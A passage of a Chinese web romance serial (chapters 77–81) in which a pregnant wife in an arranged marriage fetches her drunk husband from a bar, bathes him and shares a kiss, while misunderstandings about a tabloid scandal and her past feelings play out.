刚才那个好听的声音就响了起来,“陆京洲,我求你了,别喝了,安静点别闹了可以吗?我知道你喜欢你老婆喜欢的要死!她马上就要来接你了哈!” 岑予衿的手顿住,心脏疯狂在胸腔里重击着,握着手提袋的手不断的收紧,她下意识想要听听他是怎么回答的。 都说酒后吐真言,她也想知道陆京洲对她到底是什么感觉。 陆京洲冷哼了一声,狠狠的把手里的酒杯砸到地上,“谁说我喜欢她了?老子只想要檀月山庄!只是为了让老太太开心多活几年,只是为了她肚子里的孩子!” “她都找好下家,和别的野男人去情侣餐厅吃饭了,我为什么要喜欢她?我才不要喜欢她了……” 岑予衿觉得,那碎裂在地上的不是酒杯,而是自己的心脏。 刚刚在路灯下看着雪花时生出的一丝暖意和担忧,此刻被这番话碾得粉碎,冻成了冰碴,扎得她五脏六腑都在痛。 原来是这样…… 他同意和她结婚是为了母亲留下的遗物檀月山庄。 做那么多事情哄她开心,帮她出气,替她撑腰,也都是为了檀月山庄,为了让老太太开心,多活几年。 还有宝宝。 她到底在自作多情什么? 眼泪不受控制的滚落,心揪的紧紧的,很疼很疼,她这样的人根本就不配拥有爱。 岑予衿转身离开。 程凌晟和傅星驰都吓蒙了,刚才他不是这么说的。 他说:‘周芙笙,你凭什么喜欢别人不喜欢我?’ ‘周时越你喜欢,还跟别的男人去情侣餐厅,情侣餐厅你都没陪我去过。’ ‘我长得这么帅,这么优秀,你凭什么不喜欢我?’ ‘你说我到底哪里不如他们?我才是你老公!’ 诸如这类的话! 程凌晟下意识的朝着门口看了一眼,立马捂住了他的嘴。 “我的老天爷,你可不可以不要胡说八道了?你老婆马上就到了,要是被她听到误会了,我跟你讲你完了!” 陆京洲听到这话立马就有了反应,一脸懵懂的指着自己,歪头看着他,“我老婆?” 说完蹭一下站了起来,两人拦都拦不住。 “哪呢?在哪呢?” 在房间里搜寻了一圈之后没看到人,气的直跺脚,“你们骗人,都骗人!她不喜欢我,怎么会管我的死活?我死在这儿,她丧偶了,她更开心。” 说完一下子躺回了柔软的沙发,把头深深的埋进了沙发里,“我老婆是这个世界上最漂亮的女孩子……唯一的缺点就是不爱我。” 傅星驰和程凌晟对视了一眼,都无奈的摇了摇头。 傅星驰:“他这副样子从认识他开始我就没见过,视频已经录了很多段了,500万一段,这把我要赚成亿万富翁。” 程凌晟听到这话是真没忍住,笑出了声,“分我几段,求你了!” “现在拍嘛,还来得及呢!” 程凌晟看着笔直躺在沙发上的男人,嘴里念叨着媳妇儿的陆京洲,最终还是摇了摇头。 “他老婆估计快到了吧?” 程凌晟是真的挺好奇的到底是什么样的女孩会把陆京洲迷的神魂颠倒。 传闻中的周家二小姐,长得可真不咋地。 婚礼上他隐约看到一个身影,没有传闻中的那么夸张,但估计也好看不到哪去。 要不然也不会被传的那么离谱。 “咚咚咚!” 正想着,突然传来了敲门声。 程凌晟蹿的老快了,一下子跑到门口把门打开。 眼睛瞪得溜圆。 她只觉得眼前一亮一亮又一亮! 门外的女孩皮肤白皙得近乎透明,身上裹着羽绒服却不显厚重臃肿,与这昏沉奢靡的包厢背景格格不入。 她眼眶和鼻尖都泛着红,像是刚哭过,又像是被外面的风雪冻着了,反而更衬得那双眼睛水汪汪的,我见犹怜。 五官精致得不像话,活脱脱一个从橱窗里走出来的东方芭比娃娃,带着一种易碎的美感。 又乖又软又精致! 程凌晟心脏猛地一跳,脑子里瞬间闪过无数念头,这女孩走错房间了? 肯定是! 这颜值,这气质……绝了! 必须得留个联系方式! 他要恋爱了,属于他甜甜的恋爱终于要来了。 他几乎能预见到自己未来幸福的曙光。 他立刻挂上自认为最风流倜傥的笑容,身体不着痕迹地挡住了门口,语气放得格外温和,“小美女~是不是找错地方了?需要帮忙吗?” 他心里的小算盘打得噼啪响,先搭上话再说! 然后要联系方式。 穷追猛打。 他长得这么帅,给她当舔狗应该……应该也能排得上号。 他第一次有了心动的感觉。 岑予衿却微微蹙起了眉,那双泛红的眼睛掠过他,径直投向包厢内,声音清冷,带着一丝不易察觉的沙哑,“我找陆京洲,应该没走错吧,顶楼只有这个包间。” 程凌晟脸上的笑容瞬间僵住。 找……找陆京洲? 他猛地回头,看向沙发上那个还在无意识嘟囔着“我老婆最漂亮……”的醉鬼,再难以置信地转回头,看着眼前这张足以让任何男人心动的脸。 一个荒谬又惊悚的念头劈中了他——传闻误我!!! 这哪里是“长得不咋地”? 这分明是美得惊天动地! 而且……这就是陆京洲那个放在心尖尖上、爱而不得、正在借酒发疯的老婆本尊! 他刚才……是不是差点当着醉鬼兄弟的面,撬他老婆的墙角?! 心碎的声音噼里啪啦的传来。 他那还没有开始冒头的爱情就这么被掐死在了摇篮里。 谁懂啊? 程凌晟几乎是触电般弹开,让出通路,声音都结巴了,“嫂、嫂子?!快、快请进!阿洲,他……他喝多了,正念叨你呢!” “谢谢。”岑予衿冲他微微笑了笑,并没有在意他语气里的慌乱和尴尬。 只是紧了紧手中那个原本装着大衣和围巾,此刻却显得无比沉重的手提袋,迈步走了进去。 她的目光,精准地落在那个把自己埋进沙发里的身影上。 包厢内暧昧的灯光下,他刚才那些伤人的话,在脑子里反复交织。 岑予衿强忍住了自己的情绪。 看着他现在这副狼狈又可怜的样子,一丝难以言喻的酸涩涌了上来。 岑予衿半蹲在沙发前,抬手拍了拍他的脸,尽量让声音听起来没那么奇怪,“阿洲,回家了。” 陆京洲听到她的声音立马有了反应,拼命的睁开眼睛,声音带着不正常的试探,“老婆?是你吗?” 岑予衿点了点头,温柔的回应,“是我,怎么喝这么多?” 陆京洲费力的从沙发上爬起来坐下,歪头打量着她,握住她的手搭在自己心脏的位置,“这里不舒服……很不舒服……我失恋了,难受。” 他果然是失恋了。 和自己想的一样。 岑予衿愣住,想要抽回自己的手,可是怎么也抽不回来。 程凌晟和傅星驰见他又开始发酒疯了,立刻上前帮忙。 主动自我介绍。 “嫂子,我刚才说的那些话,真的不是我本意,我叫程凌晟是阿洲的朋友。” 傅星驰看着他那样,也学着他说,“嫂子,我是傅星驰。” 说实话,在看到她那张脸时他也被狠狠的惊艳了一下。 她那张脸是放在茫茫人海中都是最扎眼的存在。 不过他没有像程凌晟那个花孔雀一样着急。 要不然今天丢脸丢到家的就是他了。 陆京洲被两人架着,显然不开心,奋力挣扎着,冲着岑予衿扑了过去,立马化身粘人精,“我好伤心,我才不要你们,我要我老婆,我只要我老婆!” 岑予衿说不上来自己这会是什么感觉。 自己老公失恋了,自己也死心了。 两人想再次上前拉开他,被岑予衿抬手制止了。 “咱们先回家好不好?” 半晌,轻轻的抚摸着搭在自己肩膀上那颗毛茸茸的脑袋。 “你带我回家吗?”陆京洲的声音透着不确定的试探。 “嗯,你乖一点,我带你回家好不好?”岑予衿轻轻安抚着他的情绪。 “好。”陆京洲像只被顺毛的小猫咪,乖的不成样子。 第78章 醉酒撒娇陆京洲 岑予衿压下心头的万千思绪,像哄孩子一样,柔声哄着他,“马上就可以回家了,来,我们先穿好衣服,外面下雪了很冷。” 她从自己带来的手提袋里拿出那件深灰色的羊绒大衣,动作轻柔地披在他肩上。 陆京洲倒是出乎意料地配合,甚至主动伸开手臂,方便她帮他穿好。 只是那双醉意朦胧的眼睛,始终一眨不眨地黏在她脸上,仿佛怕一错眼,她就会消失不见。 帮他穿好大衣,岑予衿又拿起那条柔软的棕色围巾,仔细地在他颈间缠绕了一圈。 她的指尖偶尔地划过他的下颌或脖颈,能感受到他皮肤传来的不正常热度,混合着酒气和他身上惯有的清冽气息。 陆京洲舒服地眯了眯眼,像只被伺候得极其惬意的大狗狗,甚至还主动低下头,方便她动作,嘴里含糊地嘟囔,“老婆……你好香……你好温柔……” 程凌晟和傅星驰在一旁看得目瞪口呆。 这还是刚才那个摔杯子、撒泼打滚、控诉全世界的陆京洲吗? 这乖顺的样子,说出去谁敢信? 不过也能理解,谁有这么好看的老婆都会很开心吧? 这已经不能用淡颜和浓颜来形容了,她就是神颜! 岑予衿没有理会他的醉话,只是专注地打好围巾,确保冷风不会灌进去。 等她弄完,陆京洲再次贴了上来,大半个身体都靠在了她身上。 岑予衿还怀着宝宝,根本就支撑不住。 朝着两人求助,“我怀着宝宝,一个人把他弄回家,有点困难,可以,麻烦你们帮我扶着一点吗,到楼下就行。” 陆京洲的脑袋不断的在她颈窝处蹭着,那语气跟撒娇似的,“我不要,我不要他们扶着我,我要老婆~” 岑予衿叹了口气,轻轻拍了拍他的脑袋,“阿洲,我怀着宝宝,一个人扶你扶不动,你让他们俩扶你下楼,我带你回家好不好?” 听到这话的陆京洲立马撤开,冲着两人挑了挑眉,声音那叫一个骄傲,缓缓伸出两个手指头,“我老婆给我生宝宝,还是两个,嘿嘿~你们两个单身狗没有老婆,也没有老婆给你们生宝宝。” 两人后槽牙都要咬碎了。 可第一次见嫂子,也不好发作,皮笑肉不笑,“你真厉害!” 陆京洲笑的更欢了,“那是~” 他朝着他俩的方向张开了双臂,“扶着吧,两个单身狗。” 程凌晟:“……” 傅星驰:“……” 岑予衿:“……” 两人帮忙扶着他往楼下走确实比她一个人轻松多了。 只是陆京洲的嘴一路上也没闲着,反复强调着“我有老婆”、“我老婆最好看”、“我老婆要给我生两个宝宝”。 听得程凌晟和傅星驰额角青筋直跳,恨不得直接把这家伙扔雪地里冷静一下。 终于,三人合力将这位时而乖巧,时而气人的醉鬼弄进了副驾驶。 岑予衿细心地帮他系好安全带,确认他坐稳了,才关上车门,转向程凌晟和傅星驰。 雪依旧在下,落在她纤长的睫毛上,晕染着路灯温柔的光晕。 她拢了拢羽绒服,对着两人诚恳地道谢,“今晚真的太感谢你们了,还麻烦你们送下来。改天等阿洲醒了,我们再正式请你们吃饭。” 她的语气真诚而得体,带着一种天然的温柔,让人心生好感。 程凌晟赶紧摆手,“嫂子你太客气了,都是应该的!你快带他回去吧,路上一定小心开车。” 他现在看她,滤镜厚得堪比城墙,只觉得陆京洲那小子真是走了八辈子好运。 虽然是包办婚姻,但老婆可比自己找的好了不知道多少倍。 他也想要联姻,也想要这样的老婆。 傅星驰也点头附和,“对,嫂子路上注意安全。他要是路上闹,你就……多担待。” 他实在想不出更好的词了。 岑予衿微微颔首,再次道谢,“好,谢谢你们,时间不早了,那我们就先走了,你们也早点休息。” “嗯。”两人异口同声。 岑予衿绕到驾驶座,拉开车门坐了进去。 车内,陆京洲似乎已经安静下来,歪着头靠在座椅上,像是睡着了,只是眉头还微微蹙着。 岑予衿看了他一眼,轻轻叹了口气,发动了车子。 车子平稳地驶入飘雪的夜色中,尾灯在雪幕中划出两道红色的光痕,渐行渐远。 程凌晟和傅星驰站在原地,看着车子消失的方向,不约而同地打了个寒颤。 程凌晟搓了搓胳膊,喃喃道,“完了,我好像……真的失恋了。” 虽然他这恋爱的萌芽在几分钟前才刚刚破土。 傅星驰倒是冷静,瞥了他一眼,精准补刀,“你那是单方面宣布失恋。” 程凌晟一拳打在了他的手臂上,“阿洲能赚好多好多钱,我一点不羡慕,可他有这么漂亮的老婆,我是真羡慕了。” 傅星驰赞同的点了点头,“阿洲能这么快就接受她,还伤心到这个程度,说明对她还是有点感情的。她要是也喜欢他就好了。阿洲就不是一个人了。” 程凌晟听到这话脸上的表情也认真了不少,赞同的点了点头,“嗯。” 而此刻,载着两人的车内,却是一片静谧。 只有暖气运作的微弱声响,和身边人逐渐平稳的呼吸声。 岑予衿专注地看着前方的路,雪天路滑,她开得很慢。 窗外的路灯依旧伫立,守护着这场夜雪,也照亮着归家的路。 只是这一次,车内人的心境,与来时大不相同。 那些冰冷伤人的话语,与此刻身旁人无意识的依赖和醉后的真言交织在一起,像一团乱麻,堵在心口。 车子缓缓驶入檀月山庄。 岑予衿将车稳稳停下,侧头看去,陆京洲依旧睡得沉。 她轻轻推了推他,声音依旧温柔,“阿洲,到家了。” 陆京洲迷迷糊糊地睁开眼,辨认出是熟悉的环境,又看到她,那股粘人劲儿立刻复苏,几乎是半挂在她身上,被搀扶着进了家门。 室内暖意融融,驱散了外面的寒气。 岑予衿将他安置在卧室沙发上,柔声道,“你先坐一会儿,我去给你放洗澡水,洗个热水澡会舒服点。” 她自己都要累死了。 她转身欲走,手腕却被一只滚烫的手抓住。 陆京洲仰着头,眼神因为醉意而显得格外湿漉漉,带着浓重的鼻音撒娇,“老婆……我没力气……你帮我洗,好不好?” 岑予衿脸颊蓦地一热,下意识想抽回手,却被他攥得更紧。 他此刻的神态,像极了某种大型犬,让人硬不起心肠拒绝。 “别闹,你自己可以洗的。”她试图讲道理,声音却不自觉地放软。 “不要……就要老婆帮……”他执拗地摇头,甚至用脸颊蹭了蹭她的手背,带着十足的依赖。 看着他这副全然不设防,全心依赖的模样,再想到他今晚那些混账话和后来委屈的控诉,岑予衿心软了一瞬,又带着点说不清道不明的复杂情绪。 她叹了口气,终究是妥协了,“好,我帮你。我先帮你把外套脱了。” 她弯下腰,先替他取下围巾,然后动作有些笨拙地帮他脱掉羊绒大衣。 陆京洲倒是配合,让抬手就抬手。 接着是西装外套,衬衫…… 她的指尖不可避免地触碰到他胸膛温热的皮肤,岑予衿能感觉到自己的耳根都在发烫。 她尽量目不斜视,专注于解开纽扣这件事上,可男人精壮的胸膛线条还是强势地闯入她的视线。 混合着酒意和他身上独特的气息,营造出一种暧昧又令人心慌的氛围。 陆京洲似乎很享受她的服务,一直低头看着她,目光灼灼。 就在岑予衿好不容易解开他衬衫最后一颗纽扣,微微松了口气,准备让他自己脱掉时,他却突然俯身,温软带着酒气的唇瓣精准地印在了她的唇上。 这个吻来得突然,带着不容拒绝的霸道,却又在触及后变得异常轻柔,如同羽毛拂过,带着试探和珍视。 岑予衿猛地僵住,大脑一片空白,只觉得全身的血液似乎都涌到了脸上,面红耳赤,连呼吸都忘了。 陆京洲一触即分,看着她呆住的模样,像是恶作剧得逞的孩子,低低地笑了起来,嗓音沙哑而性感,“老婆,你好甜,好软……” 陆京洲趁着她没注意捧着她的脸又亲了一口。 岑予衿猛地回过神,一把将他推开,语气带着慌乱和强装的镇定,“陆京洲!你……你自己脱剩下的!水放好了我叫你!” 说完,几乎是落荒而逃般冲进了浴室。 看着她的背影,陆京洲靠在沙发上,抬手摸了摸自己的嘴唇,醉意朦胧的眼底,掠过一丝几不可察的得逞笑意,但很快又被更深的醉意覆盖,缓缓闭上了眼睛。 浴室里,岑予衿靠在门上,手抚着砰砰直跳的心脏,脸颊上的热度久久不退。 唇上还残留着那短暂却清晰的触感。 外头隐约传来陆京洲带着醉意的嘟囔,“笙笙,媳妇儿,我的……” 第79章 老婆~给我洗澡~ 岑予衿在浴室里做了好几个深呼吸,才勉强让怦怦狂跳的心脏趋于稳定。 拧开水龙头,温热的水流哗哗注入浴缸,蒸腾起朦胧的水汽,氤氲了她依旧泛红的脸颊。 等她调好水温,转身准备去叫那个罪魁祸首时,却发现陆京洲不知何时已经摇摇晃晃地站到了浴室门口。 他脱掉了衬衫,露出线条流畅的上身,灯光下皮肤泛着不正常的红。 码的整整齐齐的腹肌,有八块! 跟漫画里看到的一模一样。 微微仰头,他健硕饱满的胸肌,就这么猝不及防的闯进了视线。 超嫩超粉的大咪咪,超显眼! 宽肩窄腰大长腿,两条若隐若现的人鱼线没入西裤,更加勾人。 完全就是超模身材,岑予衿第一次这么直观的感受男人的身材,不自觉的咽了咽口水。 陆京洲眼神迷离地倚着门框,像只找不到方向的大狗狗。 “老婆……水好了吗?”他声音含混,带着浓浓的依赖。 “好了,你自己……”岑予衿的话还没说完,陆京洲就趔趄着朝她走来,脚下不稳,整个人几乎要扑到她身上。 岑予衿吓得赶紧伸手扶住他,他的重量瞬间压了下来,滚烫的体温隔着薄薄的毛衣传递过来。 “我没力气……”他把下巴搁在她纤细的肩头,蹭了蹭,呼吸间灼热的气息喷洒在她颈侧,“笙笙,你帮我……” 这声带着委屈和撒娇的笙笙,让岑予衿的心尖像是被羽毛轻轻搔过,瞬间软得一塌糊涂。 认命般叹了口气,扶着他走到浴缸边,“站好,我帮你。” 陆京洲倒是听话地站直了,只是那双眼睛依旧一眨不眨地盯着她,仿佛她就是他的全世界。 岑予衿避开他的视线,蹲下身,手指有些颤抖地伸向他的皮带扣。 摸索了很久也没有打开。 陆京洲就这么低头看着她,声音里带着醉意,“老婆,你不会吗?” 岑予衿摇了摇头,这个她还真不会! “笨笨的好可爱~”陆京洲握住了她的手。 “咔哒~” 金属扣发出轻微的声响,在静谧的浴室里格外清晰。 她的脸颊烫得惊人,几乎不敢抬头。 好不容易帮他除去最后的束缚,岑予衿几乎是闭着眼,凭着感觉扶着他迈入浴缸。 温热的水漫过他精壮的身体,陆京洲舒服地喟叹一声,慵懒地靠在浴缸边缘,“好舒服~” 岑予衿刚想转身出去,就被他拉住了手腕,“老婆,你要去哪里?我喝醉了,淹死在浴室怎么办?你帮我洗嘛~” 岑予衿无奈扶额,任命班回到了浴室,拿起沐浴球,挤了些沐浴露,开始帮他洗澡。 指尖隔着柔软的起泡网划过他的胸膛,她能清晰地感受到手下肌肉的紧实线条和灼人的温度。 陆京洲一直安静地看着她,目光像是黏在了她身上。 就在岑予衿稍微放松警惕时,他忽然伸出手,湿漉漉的手掌抓住了她纤细的手腕。 “笙笙。”他唤她,醉眼朦胧,语气却异常认真,“对不起~” 岑予衿动作一顿,垂下眼睫,不知道他这句对不起到底是因为什么,“怎么突然道歉,你没什么对不起我的。” “我……我这个月确实是去出差了。”陆京洲就这么趴在浴缸边,看着她语气认真。 岑予衿听着他的解释才明白他说的是什么。 说实话,这些对她来说真的不重要。 她知道了一切,至于他这个月到底是不是出差,真的已经不重要了。 “嗯,我知道,我相信你。” “但我是故意不回你消息的。”陆京洲轻哼了一声,和平时冷哼不一样,这会像是在撒娇。 岑予衿停下了手上的动作,难以置信的看着他,“为什么?” 陆京洲赌气似的一下子从浴缸里站了起来。 岑予衿刚好是蹲着的,这会已经不是脸红的问题了,脖颈都红了,一下子闭上了眼睛,“你躺到浴缸里不要动。” “为什么?”陆京洲呆呆的问。 他居然还问为什么? 当然是看到了一些不该看的大东西啊! 岑予衿:“……” “冷啊!” “哦。”陆京洲乖乖的躺回了浴缸里,“因为……因为我发现了一个秘密。” 岑予衿眉头皱的更紧了,“什么秘密?” 陆京洲抬手指着她声音更委屈了,“你骗我,你从来没有暗恋过我,你喜欢你哥!你喜欢过周时越对不对?” 岑予衿的身体一下子僵住,往后退了两步,蹲坐在了地上,一时不知道该怎么回答。 他发现了? 他到底是怎么发现的,什么时候发现的? 陆京洲看她坐在了地上,挣扎着从浴缸里起来,声音里都是担忧,“老婆,地上是湿的,你怎么坐在地上?太滑了,快起来!” 陆京洲把人从地上抱了起来,岑予衿还是没有回过神来。 下意识的和他拉开距离,“所以……你这个月躲着我就是因为这个。” 陆京洲重重的点了点头,“嗯,因为你喜欢他,很喜欢……他还给你挡了一刀,是你的救命恩人,你更不会喜欢我了。” 岑予衿怎么也没想过是这个原因。 下意识的低下了头,“我……我已经不喜欢他了。” 陆京洲听到这话像是吃到了糖果的小孩,眼里亮晶晶的,抬手指着自己,“真的吗?那你可不可以喜欢我?” 岑予衿被他抱在怀里,仰头看着他,不知道该怎么回答。 他……问这话是什么意思? 是因为檀月山庄,还是为了老太太和宝宝? 应该都有点关系。 其实她很想告诉他,没必要这样。 他们本来就是联姻,檀月山庄她无条件的给他。 哄老太太开心,她会配合。 至于宝宝,本来她也争不过陆家。 他喜欢谁都没关系,哪怕是……他带着人回家,她也没有任何意见。 想到这些,眼睛控制不住的湿润。 陆京洲看着她微红的眼眶,着急忙慌的哄她,“哪怕你不喜欢我,骗我也没关系啊。” 岑予衿的眼泪顺着眼角滑落。 陆京洲手忙脚乱的擦着,眼泪却越流越多。 他更慌了,急忙开口,“算了,你别哭,不喜欢我,也没关系的。” 岑予衿声音哽咽,“我喜欢你!” 陆京洲低头看着她,眼里满是疑惑,“不信。” 岑予衿抽泣着,水汪汪的,眼里满是疑惑,“你不是说骗你也可以吗?” 陆京洲压根就不听她说什么,低头凑近她,“除非……你亲亲我。” 第80章 执拗的等着她亲亲 陆京洲湿漉漉的额头抵着她的,呼吸间还带着微醺的酒气,眼神却亮得惊人,执拗的等着她亲亲。 岑予衿的心脏疯狂跳动,那句半开玩笑的“我喜欢你”已经耗尽了她此刻所有的勇气。 看着他近在咫尺的薄唇,看着水珠顺着他锋利的下颌线滑落,滴答一声,敲在她紧绷的心弦上。 最终,轻轻叹了口气。 反正他醉成这样,明天醒来什么都不会记得。 她知道他不喜欢她。 就当是给自己这场无疾而终的感情,画上一个无人知晓的句号。 岑予衿没说话,踮起脚尖,双手勾住他的脖子,重重的吻了上去。 温热的水汽裹着微醺的酒气,在两唇相触的瞬间炸开。 岑予衿的吻带着点破釜沉舟的莽撞,柔软的唇瓣撞上他微凉的薄唇。 她本想浅尝辄止,却被陆京洲猛地扣住后腰,力道大得几乎要将她揉进骨血里。 他的吻瞬间反客为主,带着酒后的炽热与不容拒绝的强势,却又奇异地透着几分小心翼翼。 舌尖撬开她的牙关,与她的笨拙纠缠,湿热的气息交织在一起,将浴室里的暧昧浓度推到极致。 水珠顺着他的发梢滴落,砸在她的锁骨上,烫得像火。 岑予衿的大脑一片空白,只剩下心脏狂跳的轰鸣。 她能清晰地感受到他掌心的温度透过湿透的衣料传来,感受到他胸膛紧实的肌肉贴着她的柔软,感受到他吻里的急切与一丝不易察觉的委屈。 她下意识地抓紧他的肩,指腹陷入他光滑温热的皮肤,那触感比想象中更具冲击力。 腿软得几乎站不住,全靠他揽在腰间的手臂支撑。 陆京洲本来就醉着,跌跌撞撞的抱着她跌进了浴缸。 浴缸里的水因为他们剧烈的动作哗啦作响,漫出边缘,岑予衿的衣服已经全湿了。 都快窒息了,他都没有要松开她的意思。 这是第一次,也是最后一次放任自己的感情。 从明天起,她会恪守联姻的本分,不再对他抱有任何不切实际的幻想。 眼里顺着脸颊滚落。 陆京洲像是没吻过别人,不知餍足。 吻得又深又重,压抑的情感爆发。 他把她抱得更紧,两人之间严丝合缝,湿透的衣物成了最碍事的阻隔。 不知过了多久,在岑予衿觉得自己快要室息的时候,陆京洲才稍稍退开些许,额头依旧相抵,鼻尖蹭着鼻尖,粗重地喘息着。 浴室内水汽氤氲,模糊了镜面,也模糊了彼此的视线,只有灼热的呼吸交织在一起。 “现在……”陆京洲看着她被吻得红肿潋滟的唇瓣,迷蒙水润的眼眸,声音低沉而性感,带着一丝不确定的试探,“信了一点点。” 他说着,手臂却收得更紧,仿佛生怕她跑掉。 岑予衿伏在他湿漉漉的胸膛上,听着他和自己一样失控的心跳,脸颊红得滴血,连耳根都染上了绯色。 她想说点什么,却发现喉咙干涩,一个字也发不出来。 身体深处,某种被刻意压抑了许久的东西,似乎随着这个混乱而深入的吻,悄然破土,再也无法忽视。 陆京洲没有得到回应,似乎有些不安,低下头,又轻轻啄吻她的唇角,带着小心翼翼的讨好和催促。 “笙笙?” 岑予衿闭上眼,深吸一口气,空气中弥漫着沐浴露的芬芳和他身上独特的男性气息。 她终于抬起微微颤抖的手臂,环住了他精壮的腰身,将发烫的脸颊更深地埋进他带着水汽的颈窝。 这一个无声的动作,让陆京洲浑身一震,喜悦瞬间席卷了他的四肢百骸。 他低低笑出声,胸腔震动,重新寻到她的唇。 这个吻得温柔而缠绵,想是在品尝世间最珍贵的宝贝。 哄了好久,才乖乖的开始洗澡。 岑予衿浑身都湿透了,还怀着孩子,怕自己感冒了,不能吃药,不能打针,会有影响。 没让他洗太长时间。 找了浴袍给他穿上,就带着他出了浴室。 她去哪儿,陆京洲就跟到哪儿。 岑予衿已经没有一点办法了,转身严肃的看着他,“躺到床上睡觉,别跟着我。” “老婆,你去哪?” “我要下楼给你煮点醒酒汤,明天早上起来你指定会头疼。” 陆京洲抬手勾住了她的小拇指,“我想跟你一块。” 岑予衿重重的叹了口气,熬的太晚了,眼皮已经开始打架了,任由他跟着下楼。 她给他煮醒酒汤,他也不闹,就这么乖乖的跟在她身后,从背后抱着她的腰,把头搭在她的肩膀上。 她给他煮过一次醒酒汤,这次上手异常快。 不一会就煮好了。 端给他喝,他又撒娇,岑予衿实在没办法,拿起勺子一口一口喂他喝。 这一个月他不是去国外玩的很开心吗? 为什么不仅没胖,反而还瘦了一圈。 “慢点喝。”她低声说着,心里却泛起细细密密的疼。 喂完最后一口,陆京洲突然握住她的手腕,将她的手贴在自己脸颊上蹭了蹭,声音带着醉后的沙哑,“老婆煮的汤最好喝。” 岑予衿心尖一颤,匆忙收回手,“好了,该去睡了。” 岑予衿叹了口气,扶着他往楼上走。 陆京洲格外关乖顺,任由她将他带到床边。 躺下后他也没舍得松开她的手。 “别走。”他低声恳求,眼神已经有些涣散,却还强撑着不睡。 岑予衿在床边坐下,轻轻拍着他的手臂,“我不走,你睡吧。” “你不是说你喜欢我吗?喜欢我为什么不跟我睡一张床?” 岑予衿一时语塞,“我现在不想睡。” 她不想和他躺在同一张床上。 想到热搜上的照片,心里还是会莫名的膈应。 “那我也不想睡。” 半晌之后,岑予衿先败下阵来,真是拿他一点办法都没有,妥协了。 陆京洲看她有上床的意思,立马掀开被子。 等她钻到被窝里之后,一下子抱住她,终于安心闭上眼,呼吸渐渐平稳,神情餍足。 月光从窗帘缝隙漏进来,在他脸上投下柔和的轮廓。 岑予衿静静看着他熟睡的侧脸,忽然发现他眼下有着淡淡的青黑。 这一个月,他也和她一样,没休息好吗? 指尖轻轻拂过他微蹙的眉心,那里终于舒展开来。 她俯身在他额间落下一个轻如羽毛的吻。 “晚安,陆京洲。” 陆京洲将她抱得更紧了一些,在她看不到的角落,微微勾了勾嘴角。 第81章 衿衿是她的小名? 陆京洲是真的醉的不省人事。 只记得他原本是要找人去揍野男人的。 没想到,她一直陪着,根本没机会下手。 越想越委屈,就找了傅星驰和程凌晟喝酒。 等他稍微清醒一点就发现自己已经在家了。 他媳妇儿把他带回家之后,还给他洗澡,还亲他,还给他煮醒酒汤,还跟他说晚安,亲他额头~ 他感觉就跟做梦一样,很不真实。 陆京洲迷迷糊糊的睁开眼睛,下意识的勾住怀里香香软软的人儿。 他都快忘了,有多久没抱着她睡了。 看着她的酣睡的小脸,没忍住低头亲了一口。 “哼~~” 周芙笙哼哼唧唧的往他怀里钻,似乎很不满他的作法。 陆京洲几乎是一瞬间就发现了她不对劲。 眼底是明显的乌青,显然没休息好…… 而且……从那个程度来看,应该不只是昨天晚上没休息好。 陆京洲搂着她,感觉也不太对。 按照孕三月还是双胞胎的情况来说,她应该会胖一圈,可不仅没胖,反而还瘦了不少。 陆京洲很意外…… 看着她半天也没任何动作。 昨天因为他的原因,她没休息好,小心翼翼的先起了床。 刚穿好拖鞋,放在床头充电的手机却突然响了起来。 陆京洲看着被吵到之后一直往被子里缩的人儿,立刻拿起了手机,把电话挂断。 是她闺蜜的电话。 陆京洲记下了号码,刚想拿自己的手机拨回去。 她手机的微信铃声就叮叮咚咚的想得起。 陆京洲想给她调静音,就见那边先发过来了一张图片。 随后是一句接着一句咒骂! 【衿衿!陆京洲他就不是好东西!】 【虽然说你们是联姻他也不能这么打你的脸吧?】 【前几天都上热搜了!】 【我今天进组,组里都传疯了。】 【你怀着宝宝,受着伤,找了他大半个月!】 【他居然在国外玩小明星!】 【气死我了!这不是冷暴力是什么?】 【我不行!我要努力拍戏赚钱!哪怕是离婚的时候争抚养,咱也不带怕的嗷!】 衿衿? 是她的小名? 现在不是纠结这些的时候。 她闺蜜看到那张照片了! 还发了这么多消息过来。 要是被她看见就真的解释不清楚。 不过……她说的几句话没错,他不知道该怎么面对她就逃避,从本质来看就是冷暴力。 一个月…… 还上了个莫名其妙的热搜。 以前就算了,这次那个无良媒体他非得把他们告到破产。 现在最好的办法就是趁着她还发现这件事情,主动承认,解释清楚,就没有误会。 要不然小孕妇最喜欢胡思乱想了。 陆京洲拿着她的手机进了浴室,洗漱之后直接下楼了。 吴妈看着少爷从卧室里出来还有些意外,下意识的朝他身后看去,“少爷,您什么时候回来的?” 陆京洲挑眉,“昨天晚上喝醉了,笙笙接我回来的。” 吴妈一拍大腿,声音都透着心疼,“哎呦,您喝醉了,直接在外面住不就好了,还那么欺负少夫人,她这一个月,睡也睡,不好吃也吃不好,孕反又严重,这杯酒气熏着可不得了了。” “这个月孕反很严重?” “吃什么吐什么,您没看到人都瘦了一圈了?”吴妈真是恨铁不成钢,“您也是这一个月来一点消息也没有,前三个月胎像,少夫人都担心死了。” 陆京洲被骂得低着头,一句话也没有。 看了一眼房间里那一大堆礼物还在,一个也没有拆。 她很伤心吧,站在她的角度来看,自己明明没做错什么。 一个自己曾经喜欢过也被他伤害过的男人,不顾一切的挡在自己面前,硬生生的挨了一刀。 她对周时越的感情本来就复杂,他作为她的老公,根本就不应该在那个时候疯狂吃醋。 哪怕她真的曾经和周时越有过什么,那又怎么样呢? 他才是她老公,是正宫的地位。 他不让位一切都白搭。 更别提是一个已经结过两次婚的男人,还伤害过她的男人,那都已经不干净了。 他比他高,比他帅,比他有钱,比他有地位。 她也不是瞎子,又怎么可能转头回去选他? 那时候只有被欺骗的痛苦,现在想来…… 真想一巴掌拍死自己。 当然他也这么做了! 啪! 他下手极重,白皙的脸上立刻浮现出 吴妈絮絮叨叨的声音断了,难以置信的看着面前的人,“少爷……您这是干嘛?” “艹!我真该死!”陆京洲没回答她的话,转身钻进了厨房,熟练的围上围裙。 吴妈都震惊了! 少爷这是要炸厨房? 不行,得让张姐去把他弄出来。 岑予衿一觉睡到了中午。 身边已经没有某人的身影了。 只不过,这一个月她也已经习惯了没有他的存在。 况且昨天晚上亲耳听到他说娶她是被老太太逼的,他只想要檀月山庄,她对他的最后一丝幻想也被消磨殆尽了。 昨天晚上她已经亲手为他们俩的感情画上了一个完美的句号。 她还会像往常一样扮演好一个合格的妻子,但……不会再谈感情了。 岑予衿从床上坐起来,打了个大大的哈欠,伸了个懒腰。 轻轻摸了摸肚子,想拿自己在充电的手机。 